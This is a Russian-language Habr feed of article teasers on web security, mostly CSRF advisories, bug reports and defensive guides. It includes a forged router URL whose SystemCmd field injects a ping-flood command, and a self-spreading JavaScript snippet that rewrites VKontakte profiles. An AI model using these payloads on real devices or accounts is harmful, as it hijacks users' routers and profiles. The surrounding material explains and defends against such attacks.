Как стать автором
Обновить

Обеспечение безопасности Frontend приложений

Уровень сложностиПростой
Время на прочтение13 мин
Количество просмотров14K

Безопасность является важным фактором при создании frontend приложений, поскольку они часто являются отправной точкой для атак. Я решил собрать в одну статью основные меры, которых стоит придерживаться или о которых хотя бы нужно задуматься.

Следуя этим основным мерам безопасности, frontend приложения можно сделать более безопасными и менее уязвимыми для атак. Однако важно помнить, что безопасность - это непрерывный процесс, который должен постоянно контролироваться и улучшаться с течением времени. Меры могут быть комбинированы, а некоторые опущены и не использованы - это определяет контекст проекта. Контекст может не позволять заниматься некоторыми видами безопасности, однако настаивать на этом необходимо и полезно, так как это снижает не только технический уровень уязвимости, но и напрямую влияет на репутационные риски компании.

Читать далее
Всего голосов 16: ↑15 и ↓1+14
Комментарии6

Релиз Django 1.2.2 — security-обновление

Время на прочтение2 мин
Количество просмотров946
8 сентября 2010 года разработчики Django выпустили релиз 1.2.2 чтобы закрыть уязвимости, позволяющие злоумышленникам устраивать XSS-атаки. По злой иронии, уязвимость к XSS оказалась в коде системы, выполняющем защиту от другого типа атак – CSRF. Система эта принципиально изменилась в версии 1.2 (в предыдущих версиях защита от CSRF не являлась частью ядра фреймворка и была всего лишь подключаемым слоем).
Читать дальше →
Всего голосов 32: ↑27 и ↓5+22
Комментарии16

Google начинает платить за найденные дыры во всех веб-продуктах

Время на прочтение1 мин
Количество просмотров8K
Обкатав программу вознаграждений за найденные уязвимости на браузере Chromium, компания Google решила распространить её на все свои продукты. Теперь можно получить от $500 до $3133,7 за найденные баги в
  • *.google.com
  • *.youtube.com
  • *.blogger.com
  • *.orkut.com
Программа вознаграждений не действует только для клиентских приложений (Android, Picasa, Google Desktop и проч.), а так всё остальное в неё включено, в том числе Gmail, Youtube и Google Docs.
Читать дальше →
Всего голосов 61: ↑50 и ↓11+39
Комментарии62

Facebook обошёл ограничения Google Contacts API

Время на прочтение1 мин
Количество просмотров3.1K
Несколько дней назад Google внёс изменения в Terms of Service программных интерфейсов Google Contacts API, так что теперь каждый, кто ими воспользуется, обязан гарантировать взаимность. Это был выпад в сторону Facebook, чтобы заставить их открыть социальный граф и наказать за протекционизм в области пользовательских данных. Не вышло. Вот как Facebook изменил сегодня форму поиска по контактам Gmail.


Читать дальше →
Всего голосов 160: ↑145 и ↓15+130
Комментарии76

Картинки с внешних ресурсов — добро или зло?

Время на прочтение6 мин
Количество просмотров33K
Большинство многопосещаемых площадок позволяют размещать у себя картинки с внешних ресурсов. Это очень удобная и полезная фича не только для простых пользователей, но и для людей, собирающих информацию о вас.

Большой брат следит за тобой

Вы хотите узнать больше информации о самых действенных методах? Вам интересно, как с помощью маленькой картинки определить разрешение экрана, локальное время и сменить парочку паролей? Добро пожаловать под кат!
Читать дальше →
Всего голосов 45: ↑41 и ↓4+37
Комментарии20

OpenVPN Access Server Desktop Client уязвим

Время на прочтение1 мин
Количество просмотров15K
image
Разработчики OpenVPN рекомендуют пользователям, которые используют клиент для рабочего стола, произвести немедленное обновление. Связано это с возможностью осуществления атаки типа CSRF, при помощи которой, злоумышленники могут получить удаленный доступ к компьютеру жертвы.
Читать дальше →
Всего голосов 22: ↑18 и ↓4+14
Комментарии5

Doorkeeper CSRF — CVE-2014-8144

Время на прочтение4 мин
Количество просмотров51K
Как и многие хабрапользователи, я пользуюсь «облачными» технологиями, в т.ч. арендую VPS (виртуальные сервера) в разных странах мира. Порядка двух лет я пользовался Амазоном и не сказать, чтобы был доволен, но хватало.

В сентябре прошлого года я наткнулся на очень агрессивную PR компанию от Digital Ocean (DO) и решил воспользоваться их услугами. С того момента я забросил Амазон (ни разу не реклама) и полностью перешел на DO.
image

И чем больше пользуешься каким-либо сервисом и чем больше доверяешь ему своих данных, тем более пристально смотришь, как он работает.
Читать дальше →
Всего голосов 84: ↑81 и ↓3+78
Комментарии10

CSRF в моем домашнем роутере и как я ее закрыл

Время на прочтение3 мин
Количество просмотров13K
В продолжение публикации «Был получен доступ к тысячам персональных данных пользователей «Билайн проводной интернет»».

Как вы уже узнали, в этой небольшой коробочке скрывается довольно много интересного.

Есть такая совершенно очевидная и в то же время сравнительно невинная ошибка, CSRF. Примечательно, что она находится именно в тех роутерах, в которых ничего из недавней статьи нет. Однако, в отличие от тех багов, ее могут эксплуатировать не только ваши соседи, а кто угодно, вроде коварного собеседника в чате или единожды посещенного сайта.

CSRF работает так: каким-либо образом попросить браузер жертвы загрузить сочиненный url, при этом целевой сайт, узнав ваш браузер, что-то сделает, как будто этого хотели вы.

Примерно вот так будет выглядеть адрес от человека, собирающего ботнет для дерзкой icmp-атаки на ya.ru:
у-у-у
http://192.168.1.1/apply.cgi?
current_page=Main_AdmStatus_Content.asp&
next_page=Main_AdmStatus_Content.asp&
next_host=192.168.1.1&
sid_list=FirewallConfig%3B&
group_id=&
modified=0&
action_mode=+Refresh+&
first_time=&
action_script=&
SystemCmd=nohup+ping+ya.ru+%26&
action=Refresh

В конце статьи будет само решение проблемы, тоже ничего

Есть то, что защищает обладателей типичных CSRF-уязвимых роутеров, это с большой вероятностью отсутствующая у жертвы в момент атаки авторизованная сессия, что сводит на нет любой удачно сформированный от ее имени запрос.

А вы знали, что Safari не имеет привычки забывать* один раз введенные данные http аутентификации? Я вот не знал, но уже несколько недель как захожу в веб интерфейс не вводя пароль, хотя никогда не просил его сохранять. И, что удивительно, даже ничего не могу с этим сделать. Иначе говоря, если роутер при логине показывает такое системное окошко с предложением пройти аутентификацию, а у вас Safari, то закончить сессию так просто не получится. На этом месте я осознал необходимость что-то со всем этим сделать.
Топорное решение проблемы под катом
Всего голосов 10: ↑8 и ↓2+6
Комментарии24

Reconnect — уязвимость в Facebook Login

Время на прочтение2 мин
Количество просмотров36K
image

Все очень просто — если мы можем перелогинить пользователя в свой фейсбук то мы можем присоединить свой фейсбук к аккаунту жертвы на других вебсайтах. Жертва загружает нашу страничку и мы получаем доступ к аккаунту жертвы на Booking.com, Bit.ly, About.me, Stumbleupon, Angel.co, Mashable.com, Vimeo и куче других вебсайтов.
Читать дальше →
Всего голосов 85: ↑81 и ↓4+77
Комментарии19

В системе защиты от подделки запросов PayPal обнаружена уязвимость

Время на прочтение3 мин
Количество просмотров25K
PayPal authorization

Инженер из Египта Ясер Али во время исследования работы PayPal обнаружил уязвимость, которая позволила ему полностью обойти используемую сервисом систему защиты от CSRF-атак (межсайтовая подделка запросов). Эту уязвимость он подробно описал в своем блоге, мы перевели и адаптировали пост с описанием уязвимости.

Для успешного проведения атаки такого рода злоумышленнику требуется заставить жертву обманным путем попасть по специально подготовленной ссылке, с помощью которой он сможет создавать запросы от лица жертвы. Атака возможна только если пользователь авторизован на веб-сайте, который подвергается ей.

Пост подготовлен специально для корпоративного блога сайта о платежных системах c мониторингом обменников Web-payment.ru.
Читать дальше →
Всего голосов 47: ↑43 и ↓4+39
Комментарии4

Защита веб-приложения на Phalcon + AngularJS от CSRF атак

Время на прочтение3 мин
Количество просмотров5.8K
Привет всем! Не так давно столкнулся с проблемой защиты веб-приложения написанного на Phalcon PHP Framework вместе с AngularJS. Проблема заключалась в том что на странице есть несколько форм, которые посылают AJAX-запросы на сервер. Как подружить два фреймворка в вопросах безопасности, централизованного решения я не нашёл, пришлось его собирать по кусочкам из разных источников. И в этой статье я бы хотел предложить всем кто столкнулся, или столкнётся с такой проблемой, готовое рабочее решение.

Генерируем токен в meta-теге


К сожалению источника я сейчас не помню, но не раз замечал что между тегов частенько в meta лежали токены на крупных сайтах. Если вы посмотрите документацию Phalcon, то увидите что генерация токена происходит в форме. Вот так по-умолчанию генерируется токен в форме:
Читать дальше →
Всего голосов 16: ↑6 и ↓10-4
Комментарии21

CSRF-уязвимость VK Open Api, позволяющая получать Access Token’ы сторонних сайтов, использующих авторизацию через VK

Время на прочтение14 мин
Количество просмотров38K
Представляю вашему вниманию обзор уязвимости, связанной с неправильным применением JSONP в VK Open Api. На мой взгляд, уязвимость достаточно серьёзная, т.к. позволяла сайту злоумышленника получать Access Token другого сайта, если на нём используется авторизация через библиотеку VK Open API. На данный момент уязвимый код поправили, репорт на HackerOne закрыли, вознаграждение выплатили (1,500$).

Как это выглядело


В принципе, процесс получения пользовательского Access Token'а страницей злоумышленника происходил по стандартной схеме эксплуатации CSRF-уязвимости:

  1. Пользователь заходит на сайт, использующий библиотеку VK Open API (например, www.another-test-domain.com).
  2. Авторизуется там через VK.
  3. Потом заходит на сайт злоумышленника (например, www.vk-test-auth.com), который, эксплуатируя уязвимость, получает Access Token, принадлежащий сайту www.another-test-domain.com.
  4. Получив Access Token пользователя, злоумышленник может обращаться к VK API с теми правами, который пользователь дал сайту www.another-test-domain.com при авторизации на нем через VK.

Демонстрация


На видео показано, как страница «злоумышленника» на домене www.vk-test-auth.com получает Access Token пользователя VK, который авторизовался на сайте www.another-test-domain.com, несмотря на то, что в настройках приложения VK, доступ разрешён только для домена www.another-test-domain.com.


Читать дальше →
Всего голосов 64: ↑63 и ↓1+62
Комментарии17

Не все cookie одинаково полезны

Время на прочтение9 мин
Количество просмотров38K
В этой статье я хотел бы рассказать о том, как можно объединить небольшие недочеты в обработке cookie-значений в цепочку, и произвести за счет этого атаку на пользователей популярных веб-приложений.
image
Читать дальше →
Всего голосов 56: ↑55 и ↓1+54
Комментарии5

Защищаем Revel от CSRF атак

Время на прочтение4 мин
Количество просмотров6.6K


После того как наигрались с Revel и поняли что это за чудик, пора учиться готовить его к production в части безопасности. Данная заметка вполне может использоваться в любом веб-приложении, но рассказывать буду на примере простого приложения на Revel.
Читать дальше →
Всего голосов 16: ↑10 и ↓6+4
Комментарии0

Spring Security 4 + CSRF (добавление в Spring проект защиты от межсайтовой подделки запроса)

Время на прочтение2 мин
Количество просмотров38K


Здравствуйте!
Современное веб приложение считается уязвимым, если в нем отсутствует защита от Межсайтовой подделки запроса (CSRF).
В Spring Security 4.x она включена по умолчанию, поэтому при миграции с Spring Security 3.x на 4.x ее надо либо отключить
<http>
	...
	<csrf disabled="true"/>
</http>
либо, правильнее и зачетнее, добавить в проект.

Собственно, сделал это в 10-минутном видео:

Читать дальше →
Всего голосов 14: ↑10 и ↓4+6
Комментарии3

Методы защиты от CSRF-атаки

Время на прочтение5 мин
Количество просмотров176K

Что такое CSRF атака?


Ознакомиться с самой идеей атаки CSRF можно на классических ресурсах:



Выдержка из ответа на SO:

Причина CSRF кроется в том, что браузеры не понимают, как различить, было ли действие явно совершено пользователем (как, скажем, нажатие кнопки на форме или переход по ссылке) или пользователь неумышленно выполнил это действие (например, при посещении bad.com, ресурсом был отправлен запрос на good.com/some_action, в то время как пользователь уже был залогинен на good.com).


Как от нее защититься?


Эффективным и общепринятым на сегодня способом защиты от CSRF-Атаки является токен. Под токеном имеется в виду случайный набор байт, который сервер передает клиенту, а клиент возвращает серверу.


Защита сводится к проверке токена, который сгенерировал сервер, и токена, который прислал пользователь.

Читать дальше →
Всего голосов 22: ↑22 и ↓0+22
Комментарии52

Конференция BLACK HAT USA. Ботнет из миллиона браузеров. Часть 1

Время на прочтение13 мин
Количество просмотров6.7K
Джереми Гроссман: я рад приветствовать всех вас и хочу сказать, что мы готовили эту презентацию целых 6 месяцев, поэтому стремимся как можно скорее поделиться своими достижениями. Хочу поблагодарить весь штат Black Hat за приглашение, мы возвращаемся сюда каждый год, мы любим это событие. Спасибо вам за «Чёрную шляпу»! Мы постараемся, чтобы сегодняшняя презентация проходила весело, но сначала хотим представиться.



Я являюсь основателем и руководителем разработки новых продуктов компании WhiteHat Security, расположенной в Санта-Кларе, Калифорния. В нашей компании около 300 сотрудников.

Мэтт работает управляющим центра по исследованию угроз безопасности. У «белоголовых» мы главным образом занимаемся тем, что вламываемся на веб-сайты, находим в них уязвимости и делаем это в массовом масштабе. Но у нас ещё остаётся немного времени на исследования, так что сегодня мы собираемся начать взламывать браузеры и использовать их для взлома сайтов и показать вам полный цикл веб-безопасности. Впервые я выступил здесь в 2002 году. Большую часть времени я занимаюсь исследованиями в области разработки и презентации наших продуктов.

Мэтт Йохансон: у меня имеется опыт работы в качестве тестера на проникновение (пентестера), и свою работу в компании я начал со взлома сайтов, поскольку до этого сам возглавлял армию хакеров. Я провожу крутые исследования и много беру за это, так что можете ко мне обращаться.



Джереми Гроссман: итак, начнем нашу вечеринку. Я не думаю, что здесь есть хотя один человек, который сегодня не заходил в Интернет. Может быть сейчас вы не подключены к Интернет, но когда придёте домой, все присутствующие здесь и все, кого вы знаете, все будут с ним взаимодействовать с помощью браузера. Это просто часть нашей повседневной жизни, и я опишу вам, что это означает, но в первую очередь Интернет предназначен для работы. Мы не взламываем Интернет, мы стараемся использовать его для своих целей.
Всего голосов 16: ↑16 и ↓0+16
Комментарии2

Конференция BLACK HAT USA. Ботнет из миллиона браузеров. Часть 2

Время на прочтение11 мин
Количество просмотров4.2K
Конференция BLACK HAT USA. Ботнет из миллиона браузеров. Часть 1

Мэтт Йохансон: сейчас я покажу, как вводить этот код. Существует множество рекламных сетей, но мы выбрали эту, потому что она позволяет нам делать то, что мы хотим.



Вы можете выбрать изображение баннера достаточно большого размера, вставить его сюда и присвоить ему URL, так, чтобы после нажатия на баннер пользователь переходил на нужный сайт. Владельцы этой рекламной сети предоставляют опцию HTML JavaScript, это звучит очень хорошо.
Мы начали с того, что показано в верхней части слайда и должны были пойти через весь процесс утверждения, что было, наверное, самое сложное в нашем исследовании. Это произошло не по тем причинам, о которых вы подумали, а потому, что они не очень хорошо представляют значение JavaScript и особо об этом не заботятся. На самом деле они заботились о том, чтобы объявление выглядело красиво и работало как реклама, так что я не мог продолжать идти нашим невидимым путём и просто разметить где-то на заднем плане наш мистический код JavaScript.

Мы вставили скрипт выполнения кода, который разработал Джереми, вы видите его в текстовом поле в нижнем окне, и он был утверждён рекламщиками без всяких проблем. Однако мы хотели иметь возможность перенастроить его в любой момент, чтобы разнообразить исследования, потому что такие вещи, как URL-адреса, часто меняются. Но если бы мы захотели попробовать что-то новое, нам бы заново пришлось пережить процесс утверждения. Это не занимает много времени, но просто раздражает, потому что иногда они одобряли это, а иногда им что-то в этом не нравилось и нам приходилось вносить изменения.



Например, один раз почтовое приложение раскрыло теги скриптов, весь код JavaScript исчез, и мне пришлось его переместить. Пришлось объяснять им, почему здесь нужно поставить меньше на 1 знак, а там на 1 знак больше, после чего они сообщили, что объявления не отображаются должным образом, в общем, это было весело.
Всего голосов 17: ↑13 и ↓4+9
Комментарии3

CSRF-уязвимости все еще актуальны

Время на прочтение14 мин
Количество просмотров72K
CSRF (Сross Site Request Forgery) в переводе на русский — это подделка межсайтовых запросов. Михаил Егоров (0ang3el) в своем докладе на Highload++ 2017 рассказал о CSRF-уязвимостях, о том, какие обычно используются механизмы защиты, а также как их все равно можно обойти. А в конце вывел ряд советов о том, как правильно защищаться от CSRF-атак. Под катом расшифровка этого выступления.


О спикере: Михаил Егоров работает в компании Ingram Micro Cloud и занимается Application security. В свободное время Михаил занимается поиском уязвимостей и Bug hunting и выступает на security-конференциях

Дисклаймер: приведенная информация является сугубо мнением автора, все совпадения случайны.


В том, что CSRF-атаки работают виноват этот Cookie-монстр. Дело в том, что многие веб-приложения используют куки (здесь и далее считаем уместным называть cookies по-русски) для управления сессией пользователя. Браузер устроен так, что, если у него есть куки пользователя для данного домена и пути, он их автоматически отправляет вместе с HTTP-запросом.
Всего голосов 54: ↑54 и ↓0+54
Комментарии20

CSRF на vkontakte.ru

Время на прочтение1 мин
Количество просмотров7.8K
Обнаружил забавную атаку на сайт vkontakte.ru.
При переходе на сайт tvoydohod.com, если вы в этот же момент авторизованы на вконтакте, отработает следующий джаваскрипт:
<script>
function doit() {
  var html;
  html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com>';
  window.frames["frm"].document.body.innerHTML = html;
}
</script>
<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

Как видно, будет запрошена картинка с адресом vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com, броузер сделает запрос по этому УРЛу, и на анкете в vkontakte ваше поле «Веб-сайт» станет равным tvoydohod.com.
Затем в вашем профайле, ваш друг, который вам доверяет кликнет на этот линк, и изменит профайл себе… И т д.

Этот вид атак называется Cross Site Request Forgery. В вики описаны все противоядия и куча полезной инфы.

Сам по себе CSRF довольно скучен. Но в данном случае забавно то, что каждый заразившийся становится разносчиком CSRF-линка.

Отписал в тех-поддержку, где столкнулся с «Это не баг!», «Не кликайте по подозрительным ссылкам!» и прочим. Надеюсь пользователей они ценят и поправят.
А вам было интересно узнать о таком простом «вирусе», который живет целиком в соц-сети =)
Всего голосов 143: ↑143 и ↓0+143
Комментарии134